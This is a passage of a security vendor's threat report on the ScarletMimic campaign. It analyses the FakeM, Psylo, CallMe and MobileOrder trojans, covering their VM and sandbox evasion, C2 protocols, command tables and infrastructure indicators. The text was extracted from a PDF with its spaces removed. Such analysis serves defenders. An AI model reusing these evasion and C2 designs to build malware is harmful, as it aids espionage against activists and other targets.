Wecannotbecertainifthedevelopersreacted http://blog.trendmicro.com/trendlabs-security-intelligence/hiding-in-plain-sight-the-fakem-remote-access-trojan/ http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-fakem-rat.pdf 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 10/28 specificallytoTrendMicroscontent,asitispossiblethattheywerereactingtotheincreasedantivirus detectionrateoftheirtoolthatresultedfromtheexposureofthetool.
Regardlessofthespecific stimulus,thereactionshowsthattheFakeMthreatactorsevolvedtoavoiddetection/attributionand tocontinuetheirattackcampaigns.
Thetimelinedoeshaveonenoticeableoutlier,specificallytheFakeHighFivesamplecompiledin September2009thatloadedaFakeMSSLsample.
Webelievethiscompiletimeisincorrect,asthe C2domainforthissample,specificallypress.ufoneconference[.
]com,wasregisteredbythethreat actorinFebruary2013.TheregistrationoftheC2domaininFebruary2013alignswithother compilationtimesofFakeMSSL,whichleadsustotheconclusionthattheSeptember2009 compilationtimestampwasmodifiedand/orinaccurate.
MostoftherelatedloaderTrojans,suchasCrypticConvo,PiggyBack,FullThrottle,FakeHighFive, FakeFishandRaidBasedolittlemorethanloadencryptedFakeMshellcode(eitherfromaPE resourceorembeddeddata),decryptit,andexecutetheresultingshellcode.
Otherrelatedloading Trojans,suchasSubtractThis,BrutishCommandandSkiBootemployclevertechniquesworth discussing.
SubtractThis TheSubtractThisloaderdisplaysatechniquethatisquiteclever.
Thisloaderreceiveditsname basedonatechniqueitusestodelaybeforecarryingoutitsmainfunctionality,specificallyby requiringtheusertohittheminus()key.
SubtractThiscarriesoutthistechniquethroughthe followingsteps: 1.CallsLoadAcceleratorsAfunctiontoloadthevirtualkeyfortheminuscharacter.
Example: LoadAcceleratorsA(hInstance,VK_SUBTRACT) 2.CallsSetTimerfunctiontosetupacallbackfunctionthatwillbecalledintheeventthatthe LB_FINDSTRINGWindowsmessage.
Example:SetTimer(0,LB_FINDSTRING_,10000u, TimerFunc) 3.CreatesacontinuousloopthatstartsbycallingGetMessageAtoobtainWindowsmessages 4.CallsTranslateAcceleratorAtocheckWindowsmessagereceivedisVK_SUBTRACT.
5.CallsthecallbackfunctionsetupintheSetTimerfunctioniftheuserenterstheminuskey.
Thistechniquerequiresuserinteraction,whichmakesanalysisinsandboxesmoredifficult.
BrutishCommand TheBrutishCommandloaderusesaveryinterestingmethodtodecrypttheFakeMfunctionalcode.
Themainfunctioninthisloaderchecksthecommandlineargumentspassedtoit,andifthereare nonepresentitwillobtainarandomnumberbetween09andcreateanewprocessusingthesame executablewiththisrandomnumberasacommandlineargument.
Iftheexecutablehasacommandlineargument,theTrojansubjectsthevaluetoahashingalgorithm andcomparesthehashto0x20E3EEBA.Ifthevaluematchesthestatichash,theexecutablewill 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 11/28 subjectthecommandlineargumenttoasecondalgorithmthatwillproduceavaluethattheTrojan willuseasthedecryptionkeytodecrypttheembeddedFakeMshellcode.
Itessentiallybruteforces itsowndecryptionkeybyrerunningitselfoverandoveruntilitrunswiththecorrectvalueisprovided onthecommandline.
Unit42hadnotseenthistechniqueusedbyothermalwarefamiliesandit introducesachallenginghurdlewhenattemptingtoanalyzeordebugtheloaderTrojan.
SkiBootLoader SkiBootreadsthemasterbootrecord(MBR)ofthesystemtodeterminetheXORkeythatitwilluse todecrypttheFakeMshellcode.
ItcarriesoutthisfunctionalitybycallingtheReadFilefunctionto read512bytesfrom\\.\PHYSICALDRIVE0andspecificallyusesthelastbyteoftheMBRasthe encryptionkey.
ThelastbyteoftheMBRis\xAA,orthesecondbyteof\x55\xAA,whichistheboot signatureportionoftheMBR.
InsteadofusingReadFile,onevariantofthisloaderreadstheMBRusingDeviceIOControlusingthe ID_CMDcontrolcode,andaccessesaspecificoffsettoobtainthevaluethatitwillrotateeachbytein theciphertextwithinthedecryptionalgorithm.
ThesignificanceofusingDeviceIOControlisthatthe VMwarehypervisorrespondstothisAPIcallwithablankbufferinsteadoftheMBR,whereasthe VirtualboxhypervisorreturnstheMBRcorrectly.
Itappearsthatthisloaderisspecificallyusingthe DeviceIOControlAPIfunctionasaVMwaredetectiontechnique,suggestingthatthedevelopersare wellversedinthenuancesoftheVMwarehypervisorandvirtualmachineevasion.
EvolvingFakeM:Variants Sincebeingoriginallyexposedin2013,authorsofFakeMhavecontinuouslymadechangestothe FakeMcodebase,resultinginmultiplevariants.
BeforeelaboratingonthedifferentvariantsofFakeM, therearemanysimilaritiesthatremainthroughoutthevariousiterations.
Thearchitecturehasnot changedduringtheevolutionofFakeM,asamodularframeworkexistsineachvariant,asseenin Figure8.TheFakeMmainmoduleisresponsibleforlaunchingembeddedmodules,suchasa keyloggerorforgatheringsensitivefiles.
Themainmoduleisalsoresponsibleforcommunicating withitsC2serversandhandlingcommandsissuedbytheC2server.
Figure8:FakeMArchitecture AllFakeMvariantsinitiatecommunicationswithitsC2serverandchecktheC2sresponsefora 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 12/28 command.
Also,allFakeMvariantsshareacommoncommandhandlerwiththesamecapabilities,as seeninTable2.ThelimitedcommandsetsuggeststhatFakeMsfunctionalityisobtainedby additionalassemblycodeprovidedbytheC2serverwiththe0x211command.
AccordingtoTrend MicrosinitialanalysisonFakeM,threatactorsdeliveredandranadditionalcodethatprovidedfurther capabilitiestotheTrojan,suchastheabilitytorunshellcommands,stealpasswords,capturethe screenanduploadfiles.
CommandDescription0x212Idle.
Attemptstoreceiveanothercommandimmediatelyinsteadof sleepingfor30seconds.0x213SetsaflagtoendthesessionwiththeC2.ThiswillforcetheTrojanto reestablishasessionwiththeC2.0x214Exitprocess.
Table2:CommandhandlerwithinallvariantsofFakeM NowthatwehavecoveredthecommonalitiesbetweenFakeMvariants,thefollowingsectionswill diveintothespecificvariantsofFakeM.Unit42categorizesthedifferentvariationsofFakeMbased onthemethodusedtocommunicatewiththeC2server,whichhaschangeddramaticallyoverthe years.
OriginalFakeM TheoriginalvariantofFakeMgeneratesnetworkbeaconstoitsC2serverthatbeginwitha32byte headerthatinmostcasesismeanttoblendintonetworktrafficgeneratedbylegitimateapplications.
Followingthis32byteheader,theoriginalvariantofFakeMincludesdataencryptedusingacustom encryptioncipherthatusesanXORkeyofYHCRAandbitrotationbetweeneachXORoperation.
TheoriginalvariantincludestheFakeMdiscoveredandpublishedbyTrendMicroin2013,inwhich theauthorsofFakeMfirstattemptedtoevadedetectionofitsC2communicationsbypretendingto begeneratedbylegitimatemessengerapplications,suchasMSNandYahoomessengers.
Figures9 and10showFakeMattemptingtoresembleMSNorYahooMessengertraffic,asthefirst32bytes containdatathatresemblelegitimatetrafficgeneratedbythesechatprograms.
Figure9:FakeMusingfakeMSNmessengertrafficforC2communication 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 13/28 Figure10:FakeMusingfakeYahooMessengerforC2communication Inadditiontoemulatingchatprograms,FakeMhasalsoincludedHTMLcodewithinthe32byte header.
AsyoucanseeinFigure11,theoverallstructureofthebeacondidnotchange,ratherthe onlydifferencesisthedataintheheadercontainsHTMLtags.
TheHTMLdataintheheaderledUnit 42toawhitepaperpublishedbyMalware.luthatsuggestedtheMSN,Yahoo,andHTMLversionsof theoriginalvariantofFakeMallshareacommonserverapplicationthatthethreatactorsusetobuild samplesandcontrolinfectedsystems.
Figure11:FakeMHTMLtagsinC2header InOctober2013,FireEyepublishedablogaboutasampleofFakeMthatdidnotusefake messengerorHTMLdatainthefirst32bytesoftheC2traffic,butinsteadusedfourrepeatingbytes tofillthisportionofthepacket,asseeninFigure12.Unit42tracksthisundertheoriginalvariant,as itusesthesamealgorithmtoencryptthedataandotherwisesharesacommonstructuretotheMSN, Yahoo,andHTMLversionswiththeexceptionofthemodificationtothefirst32bytes.
Figure12:FakeMC2beaconwithfourrepeatingbytes FakeMSSL WhileperforminginfrastructureanalysisonFakeMoriginalvariants,wecameacrossshared infrastructurewithdomainsthathostedC2serversformalwaresamplesthatdidnotmatchthe knownFakeMcommunicationprotocols.
PaloAltoNetworksWildFirehadanalyzedmanysamples associatedwiththeserelatedC2domains,allofwhichcommunicatedwiththeC2serverusing securesocketslayer(SSL).Todeterminethemalwarefamilythatwasgeneratingthistraffic,Unit42 analyzedthesesamplesandfoundthatthefunctionalcodewasthesameastheoriginalFakeM variant.
ThisdiscoveryindicatestheauthorsofFakeMintroducednewcodetotheTrojaninordertouseSSL tocommunicatewithitsC2server.
ThedrasticchangeinC2channelwarrantedanewvariantname, andwedubbeditFakeMSSL.Duringtheanalysisofthesesampleswedidnotfindanyoperational https://malware.lu/assets/files/articles/RAP002_APT1_Technical_backstage.1.0.pdf http://www.fireeye.com/blog/threat-research/2013/10/evasive-tactics-terminator-rat.html 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 14/28 C2serverstocompleteahandshaketoestablishaSSLsession.
Duringthehandshake,theFakeM SSLsampleswilltelltheserveritsupports36differentciphersuiteseventhoughthesamplesappear toonlysupportone.
Unit42believestheciphersuitewithintheFakeMSSLvariantsusesDiffie HellmanforkeyexchangeandtheRC4ciphertoencrypttheC2communications.
FakeMCustomSSL InJuly2015,ScarletMimicdeliveredaspearphishingemailtoabranchoftheRussiangovernment withintentionsofinstallingapayloadthatwasundetectedbyanyantivirusvendorsonVirusTotal.
The highprofiletargetandthelackofantivirusdetectionpromptedUnit42toperformanindepth analysisandfoundthatitisyetanothernewvariantoftheFakeMTrojan.
Wealsonamedthisvariant afteritscommunicationprotocol(FakeMCustomSSL.)
ThisnewvariantofFakeMsharedthesamefunctionalcodeasitspredecessors,butagainthe communicationswiththeC2dramaticallydifferedfromtheothervariants.
Communicationsbetween thisvariantandtheC2serverleveragewhatUnit42believesismodifiedSSLcode,asthecodeis verysimilartotheFakeMSSLvariant.
ThecodeappearstouseDiffieHellmanforkeyexchangeand theRC4algorithmlikeFakeMSSLhowever,theinitialpacketsenttotheC2serverdidnotcontaina clienthellomessage,whichisrequiredtoinitiateanSSLhandshake.
Instead,theinitialpacketsent dataasseeninFigure13.
Figure13:HexdumpofFakeMcustomSSLvariant ThisvariantofFakeMskipsthetraditionalSSLhandshake,whichinvolvesanagreementonacipher suitetousetoencryptcommunications.
TheFakeMcodeonlysupportsoneciphersuite,which makestheciphersuiteagreementportionoftheSSLhandshakeirrelevant.
Instead,FakeMcreatesa sessionwithitsC2serverbyexchangingkeys.
Thelackofavalidhandshakemakesdetectionofthis C2streamdifficult,asthepacketssentbetweentheTrojanandtheC2toestablishthissession containrandombinarydata.
NetworkdeviceswillalsobeunabletoperformanySSLdecryptiondue tothelackofdetectionandtheinabilitytodeterminetheciphersuiteusedtoencryptthedata.
Figure 14belowprovidesavisualdepictionofthehandshakeprocedureandthesubsequentbeaconand commandmessages.
08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 15/28 Figure14:CommunicationsbetweensystemandC2server,includingthekeyexchange Thehandshakestartswithakeyexchange,whichtheTrojaninitiatesbycreatinga2048bytebuffer thatitwillstoreitskey(128bytes,followedbynullvaluesasseeninFigure13)andsendingitskeyto theC2server.
TheC2willrespondwithitsownkey(also128bytes,followedbynullvalues)thatthe Trojanwillstoreandusetoencryptfuturecommunications.
Oncethiskeyexchangeiscomplete,theTrojanacknowledgesthereceiptoftheserverskeyby sendinganother2048bytepackettotheserver.
Tobuildtheacknowledgementpacket,theTrojan createsa2048bytebufferfilledwithnullvaluesandcopiesthestringws32.dlltooffset8and encryptsthebufferwiththeserverskey.
Aftersendingtheacknowledgementpacket,theTrojanwillgatherlocalsysteminformationand includeitinabeacontotheC2server.
Likethepacketssentinthekeyexchange,thebeaconsent bytheTrojantotheC2serveris2048bytesinlengthhowever,thesysteminformationgatheredby theTrojanisonly296bytesfollowedby1752arenullvaluestofillthe2048bytebuffer.
Thesystem informationfollowsthe296bytestructureseenbelow: 1 2 3 4 5 6 7 8 9 structbeaconToC2 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 16/28 DWORDstatic_value_130h CHARusername[128] CHARcomputername[128] DWORDstatic_value_70000h DWORDos_codepage DWORDcampaign_code_1 DWORDcampaign_code_2  TheTrojanwillencryptthisdatausingthekeyprovidedbytheC2andsendittotheserver.
The TrojanwillthenwaitfortheC2torespond,whichitwilldecryptandparseforFakeMcommands.
Unit 42hasbeenunableextractanypluginsfromC2networktraffichowever,severalFakeMcustom SSLsamplescontainembeddedpluginsthatrunwithoutinteractionwiththeC2server.
Also,Unit42 wasabletoextractseveralmodulesfromtheoriginalFakeMserverapplication,asseeninTable3.
AllofthesemodulesareshellcodebasedpluginsthatwouldworkwiththecustomSSLvariantof FakeMwithlittletonomodification.
MD5 Size (bytes) Description 7a1410b2eceb99ec268b50e9371e74c1 3724 Process Plugins 092085e76512f071cab12f76ed09b348 2412 ShellPlug ins 8f4cbb78356cb672bf2566e44315eb96 1768 FilePlugins 16ab40f84fc47bab2c7874bb3164c5b4 2268 ScreenPlug ins 30337e99631a174d822dd3ea00a5f6cf 2204 Regedit Plugins 1f3fbb789bcbe9186a50c4f4db269736 1996 Service Plugins 4313d9d5fc6a090e2abc41633cb2c1fd 3196 HostInfo Plugins fe75dff8b86dd8989d2ca00df19d51be 2220 KeyBoard Plugins 3e184a7af74905f3d3acbec913252f72 1884 ShellPlug ins OEPwd 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 17/28 b59e8751b9f61bd4f4b9b62de8242751 3896 Plugins 83ec457cba27e470404c942eb9242eeb 2156 UFilesPlug ins Table3:ModulesextractedfromtheoriginalFakeMvariantsserverapplication RelatedtoFakeMOriginal:CallMe CallMeisaTrojandesignedtorunontheAppleOSXoperatingsystem.
ThisTrojanwasdeliveredin targetedattacksonUyghuractivistsin2013andusedinfrastructureassociatedwithFakeM.
InFebruary2013,AlienVaultperformedanalysisontheCallMeTrojanandfoundthatitisbasedona toolcalledTinySHell,anOSXshelltoolwhosesourcecodeisavailableontheInternet.
TheTrojan usesAEStoencryptthecommunicationchannelitsC2server,whichwillprovideoneofthree commandstocarryoutactivitiesonthecompromisedsystem,asseeninTable4.
CommandDescription2PutafileonthesystemfromtheC2server.
Fileissavedtoaspecified filenameinHOMEdirectory/downloads/.3Createareverseshelltointeractwiththecompromised system.
Table4:CommandsAvailableintheCallMeOSXMalware TheinfrastructureoverlapbetweenFakeMandCallMeinvolvesthefullyqualifieddomainname (FDQN)ofgoogmail.org,whichwasusedbybothFakeMandCallMesamples.
Thissuggeststhat notonlydothesethreatactorshavetheabilitytocompromisevictimsrunningtheMicrosoftWindows operatingsystem,buttheycanalsotargetindividualsrunningApplesOSXaswell.
RelatedtoFakeMCustomSSL:Psylo DuringinfrastructureanalysisofFakeMCustomSSLvariants,Unit42foundinfrastructureoverlaps betweenFakeMandanothernew,previouslyunreportedTrojanthatwenamedPsylo.
Psyloisa toolthatallowsthreatactorstouploadanddownloadfilestoandfromacompromisedsystem,as wellasexecutecommandsandapplicationsonthesystem.
ThenamePsyloisananagramfromthe mutexcreatedwheninitiallyrunningthispayload,whichishnxlopsyxt.
PsyloissimilartoFakeMinthattheyarebothshellcodebased,andtheyhavesimilarconfigurations andC2communicationchannels.
Asyoucanseefromthefollowingtwoconfigurationstructures, PsyloandFakeMhavesimilarconfigurationswithonlythearraylengthoftheC2locationsbeing different.
structpsylo_c2_configchar[60]c2_host_1char[60]c2_host_2char[60]c2_host_3DWORD c2_port_1DWORDc2_port_2DWORDc2_port_3structfakem_customssl_c2_configchar[64] c2_host_1char[64]c2_host_2char[64]c2_host_3DWORDc2_port_1DWORDc2_port_2DWORD c2_port_3 Figure15:ComparisonbetweenPsyloandFakeMcustomSSLconfigurations https://www.alienvault.com/open-threat-exchange/blog/cyber-espionage-campaign-against-the-uyghur-community-targeting-macosx-syst 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 18/28 BothuseSSLtocommunicatewiththeirC2servers,anditappearstheysharecommoncodetocarry outtheDiffieHellmankeyexchange.
WecomparedtheDiffieHellmancodefromPsylowithFakeM customSSLvariantandfoundthattheywereverysimilar,buttheFakeMsampleshadsomeofthe functionalitywithinsubfunctions,whichrenderedbinarydiffingbetweenthetwoTrojansimpossible.
AnotherslightdifferenceinvolveshowPsyloandFakeMgeneraterandomnumbersforSSL.FakeM usesQueryPerformanceCountertocreatearandomnumber,whereasPsylousesCryptGenRandom, bothofwhichgeneraterandomnumbers68byteslong.
InterestingenoughisthatCryptGenRandom callsRtlGenRandom,whichusesQueryPerformanceCounteralongwithothersystemattributesto generatearandomnumber.
WhencommunicatingwithitsC2server,PsylowilluseHTTPSwithauniqueuseragentof(noticethe lackofaspacebetween5.0and(Windows): Mozilla/5.0(WindowsNT6.1WOW64rv:24.0)Gecko/20100101Firefox/24.0 Unit42doesnotconsiderPsyloanothervariantofFakeMbecausePsylohasacommandhandler thatdiffersdramaticallyfromFakeM.Table5showsthePsylocommandhandler,whichsuggestsitis lessmodularandsupportsmoreembeddedfunctionalitywhencomparedtoFakeM.Itispossiblethat thethreatactorscreatedthisTrojanasastandalonealternativetoFakeM.
Command Description 0 Idlesfor10seconds.
2 Enumerateallstoragedevices.
3 Findallfilesthatstartswithaparticularstring(s.).
5 Createsafiletowriteto,deletingitifitalreadyexists.
CombinedwithEcommandtodownloadafiletothe system.
E WritesdatafromC2toafileopenedusingthe5 command.
Combinedwith5commandtodownloada filetothesystem.
6 Readsafile,whicheffectivelyuploadsthefiletothe C2.
7 Deleteaspecifiedfile.
8 ExecuteacommandusingWinExec.
RespondstoC2 withsifsuccessfulorrifunsuccessful.
9 Timestomps.
Setsaspecifiedfilestimestampsto matchthatofasystemfileintheSystem32directory.
08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 19/28 Table5:CommandhandlerinPsylothatdiffersdramaticallyfromFakeM MobileOrder:MobileDevicestheNextFrontier AnotherdiscoverywemadewhileresearchingthisblogisanoverlapbetweenPsyloinfrastructure andaTrojanfocusedoncompromisingAndroidmobiledevices.
Unit42tracksthismobileTrojanas MobileOrder,astheauthorsspecificallyrefertocommandswithintheappasorders.
Theconnection betweenFakeM,Psylo,andMobileOrdersuggestthatScarletMimicisnowexpandingtheir espionageeffortsfromPCstomobiledevices,whichmarksamajorshiftintactics.
MobileOrderstartsbyregisteringitselfasdeviceadministratorsothatanormalusercannotuninstall itbysimplyclickinguninstallinsettings.
ItwillcopyanembeddedPDFfilefromres/raw/rd.pdfto SDcard/android/9074ca3f18e201c204ec1d852264bb5432644ba46f54f361a146957.pdfand launchesthemobiledevicesdefaultPDFviewertodisplaythisPDFfile,whichactsasadecoy document.
Afterdisplayingthedecoydocument,themaliciouscoderunsinbackground.
The maliciouscodeconsistsofthefollowingparts: 1.AnAndroidgeographicallocationSDKprovidedbyAMAP.
2.ActordevelopedcodethatcarriesoutTrojansfunctionality.
ThemalwareusestheAMAPSDKtogetaccuratelocationofinfecteddevicesbyGPS,mobile network(suchasbasestations),WiFiandotherinformation.
MobileOrderactsoninstructions providedbyitsC2server,whichitcommunicateswithoverTCPport3728.AllC2communications areencryptedwiththeAESalgorithmusingakeygeneratedbycomputingfiveMD5hashesstarting withthekey1qazxcvbnm,andaddingasaltvalueof.
)1/ineachiteration.
TheC2serverwillrespondtorequestsfromMobileOrderwithcommandsthattheTrojanreferstoas orders.
MobileOrdercontainsacommandhandlerwithfunctionalitythatprovidesafairlyrobustset ofcommands,asseeninTable6.ThefirstbyteofdataprovidedbytheC2serverisordernumber, whichisfollowedbytheencrypteddatathatneededtocarryoutthespecificorder.
Order  OrderName Behaviors 18 Order_Folder_List Uploadnamesandattributes offilesunderspecifiedpath 20 Order_Process_List Uploadallrunningprocesses information Uploaddeviceinformation includingIMEI,IMSI,SIMcard serialnumber,phonenumber, Androidversion,device manufacturer,devicemodel, http://lbs.amap.com/ 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 20/28 24 Order_HostInfo SDcardsize,networktype, devicelockingstatus,country, carrier,timezone,language, installapplist,browser bookmarks,etc.
26 Order_FileDelete Deletespecifiedfile 27 Order_DownLoad DownloadspecifiedfiletoSD cardsAndroid/data/tmp/ directory.
28 Order_UpFile UploadspecifiedfiletoC2 server 51 Order_Sms Uploadallreceivedandsent SMSaddresses,content,date, timetoC2server 52 Order_Contact Uploadallcontacts informationtoC2server 53 Order_Call Uploadallphonecalling historyinformation 54 Order_Camera_front_photo Takeapicturebydevices frontcamera 56 Order_SetSleepTime Setsleeptimeinterval 57 Order_SetOnline Stopsleep 58 Order_SetMediaRecorder Startaudiorecorderin specifiedtime 59 Order_GetLoc Uploadinformationabout networkoperator,MCC,MNC, networktype,GSMcell location,CID,LAS,BSSS,etc.
Thisinformationcanbeused tolocatethedevice.
60 Order_GetGps UploadGPSlocationbyAMAP SDK.
61 Order_SetTelRecorderOn Activatephonecalling 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 21/28 recording 62 Order_SetTelRecorderOff Deactivatephonecalling recording 81 Order_Install InstallspecifiedAPKfile.
May installsilentlyorinstallto systemappaccordingtoC2 commanddata 82 Order_Uninstall Uninstallspecifiedapp 84 Order_StartApp Launchspecifiedapp 85 Order_SendBroadcast SendspecifiedAndroid broadcasttolaunchother apps 86 Order_Shell Executespecifiedshell commands 87 Order_OpenTrack Startgeolocationtrackingin AMAPSDK 88 Order_CloseTrack Stopgeolocationtrackingin AMAPSDK 90 Order_CheckScreen Checkwhetherphonescreen ison(orsaidwhetherthe phoneisusedbyitsowner) Table6:MobileOrdercommandhandler InfrastructureOverlapandRelatedTools ThereissomeinfrastructureoverlapintheC2serversusedbyalmostalloftheFakeMvariants,as wellotherTrojanssuchasMobileOrder,Psylo,andCallMe.
Therearealsoinfrastructureties betweensomeFakeMvariantsandolderactivityusingTrojanssuchasElirks,PoisonIvy,and BiFrost,whichwereusedinattacksasoldas2009.ThedomainnamesusedtohostC2serversare amixofactorregisteredandDynamicDNS(DDNS,)thoughmostareDDNS.TheDDNSdomainsin turnarelinkedtoasmallgroupingofASNs,withoneASNoftenlargelytiedtooneFakeMvariant.
MostoftheFakeMMSNC2sresolvetoIPaddressesassociatedwithASN22781(RBLHST Reliablehosting.com).However,wefoundoneMSNsamplethatsharedinfrastructurewithsome FakeMCustomSSLvariants.
ThereisasimilaroverlapbetweenFakeMMSN,FakeMHTML,andFakeMSSL.Theregistrantemail xsldmtxj163[.]cnwasusedtoregisterseveraldomainsusedasC2s:yourturbe[.
]org, 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 22/28 websurprisemail[.]comandgoogmail[.
]org.
Oneofthesedomainswasalsousedinthe2013CallMe activityatthesametimeitwasbeingusedforFakeMMSNsamples.
Thetargetinganddecoystyle alsomatcheswiththeFakeMactivity.
ThereisPEresourceoverlapbetweensomeFakeMMSNsamplesandsomesamplesoftheBiFrost andPoisonIvyTrojan.
ThismayindicatethatthesamedeveloperwhocreatedtheparticularBiFrost andPoisonIvysampleswasalsoinvolvedindevelopingFakeMMSN.Unit42foundanoverlap betweentheRT_VERSIONresources,whichcontainstheversioninformationofaPortable Executable(PE)file,sharedamongstthethreedifferentTrojans.
ThesharedRT_VERSIONresource (MD5:55b7a118203a831cc69b37b785015c54)containedthefollowinginformation: Comments:Release CompanyName:DevelopTeam FileDescription:UtilityApplication FileVersion:4.0 InternalName:Utility LegalCopyright:Copyright(C)2008 LegalTrademarks:DT.Inc OriginalFilename:Utility.
EXE PrivateBuild:4.0b ProductName:UtilityApplication ProductVersion:4.0 TheoverlapbetweenElirks,FakeMSSL,Psylo,andMobileOrderexistsentirelyintheircommand andcontrolinfrastructure,throughdomainnamesand/orIPresolution.
Samplesofthesethreeused someofthesameC2domains,notablylenovositegroup[.]com,ufoneconference[.
]com,and websurprisemail[.]com,whilesomeresolutionoverlapincludes118.193.212[.]12,210.206.219[.
]241, and59.188.239[.
]117.Similarly,someFakeMYahooC2domainsandFakeMCustomSSLC2 domainsalsohaveoverlappingIPresolutions,notably95.154.204[.
]198.
ScarletMimicalsousestheinfamousHTRANtoolonatleastsomeoftheirC2servers.
HTRANisa proxyingtoolthatallowsactorstoconcealthetruelocationoftheirC2server.
ActorswillrunHTRAN onaserverandconfiguretheirmalwaretointeractwiththatserverhowever,theactorwillconfigure HTRANtoforwardtraffictoanotherserverwheretheactualC2serverexists.
Forexample,the FakeMC2domainofmuslim.islamhood[.
]net resolvedtotheIPaddress59.188.239.117during analysis,buttheserverrespondedwiththefollowingerrormessage: [SERVER]connectionto68.71.35.135:8081error ThiserrormessagesuggeststhattheHTRANapplicationrunningon59.188.239.117wasunableto connecttotherealC2serverhostedat68.71.35.135.
PriorPublications Throughoutthisreport,wehavereferencedmultiplepreviousblogsandwhitepapers,fromUnit42 [1] http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/_ftn1 08/02/2016 ScarletMimic:YearsLongEspionageCampaignTargetsMinorityActivistsPaloAltoNetworksBlog http://researchcenter.paloaltonetworks.com/2016/01/scarletmimicyearslongespionagetargetsminorityactivists/ 23/28 andothers,thathavedocumentedelementsofthisthreatinthepast.
Inadditiontothosedocuments readersmayalsofindthefollowingpublicationsinteresting.
In2014,CitizenLabreleasedapaperonthreatsagainstcivilsocietythatreferencedsomeofthese attacksastheDomainNameFamilyorDNF.
KasperskyLabhasproducedexcellentresearchonattacksagainstUyghurandTibetanactivists.
In 2013,theyidentifiedanAndroidTrojanthatwasalsotargetingthesegroups.
Ouranalysisindicates thismalwareisdifferentfromtheMobileOrderTrojandescribedabove,buttheyserveverysimilar purposes.
OnJanuary12,2016,CylancepublishedabloglinkinganexploitdocumenttothegroupMandiant referstoasAPT2andCrowdStrikeasPutterPanda.
Whiletheredoesappeartobeasmalloverlap betweenIPaddressesusedinattacksfromthisgroupandthoseofScarletMimic,ourteamhasnot concludedthatthesegroupsareoneinthesame.
Conclusion TheinformationdiscoveredbyUnit42andsharedhereindicatesScarletMimicislikelyawellfunded andskillfullyresourcedcyberadversary.
ScarletMimichascarriedoutattacksusingbothspear phishingandwateringholessinceatleast2009withincreasinglyadvancedmalware,andhas deployedmalwaretoattackmultipleoperatingsystemsandplatforms.
Despitetheapparenttechnical acumen,theirdecoydocumentsaretypicallynotwellcraftedregardlessoftheuseofthetargets language,thoughtheydousetimelysubjectlures.
TheprimarysourceofdatausedinthisanalysisisPaloAltoNetworksWildFire,whichanalyzes malwareusedinattacksfromaroundtheglobe.
Thesystemisalsofedwithmalwaresamples collectedthroughsharingpartnershipwithothersecurityvendors,includingourpartnersintheCyber ThreatAlliance.
Toconnectattackstoeachotherbasedonmalwarebehaviorandcommandand controlinfrastructure,wereliedonPaloAltoNetworksAutoFocusthreatintelligence.
AutoFocususers canviewallofthefilesrelatedtoScarletMimicandthemalwareassociatedwiththegroupusingthe followinglinks: PaloAltoNetworkscustomersareprotectedfromScarletMimicattacksthroughmanycomponentsof ourplatform.
ThreatPreventionsignaturesforthesoftwarevulnerabilitieslistedinthisreportareavailableto detecttheexploitfilesduringdelivery.
Traps,ouradvancedendpointsolution,canpreventthesoftwarevulnerabilitieslistedinthisreport frombeingexploitedonaWindowshost.
WildFireclassifiedalloftheAndroidandWindowsmalwaredescribedinthisreportasmalicious.
Wehavereleasedantimalwaresignaturesforthefileslistedinthisreport.
ThedomainnamesusedforcommandandcontrolhavebeenclassifiedasmaliciousinPANDB.
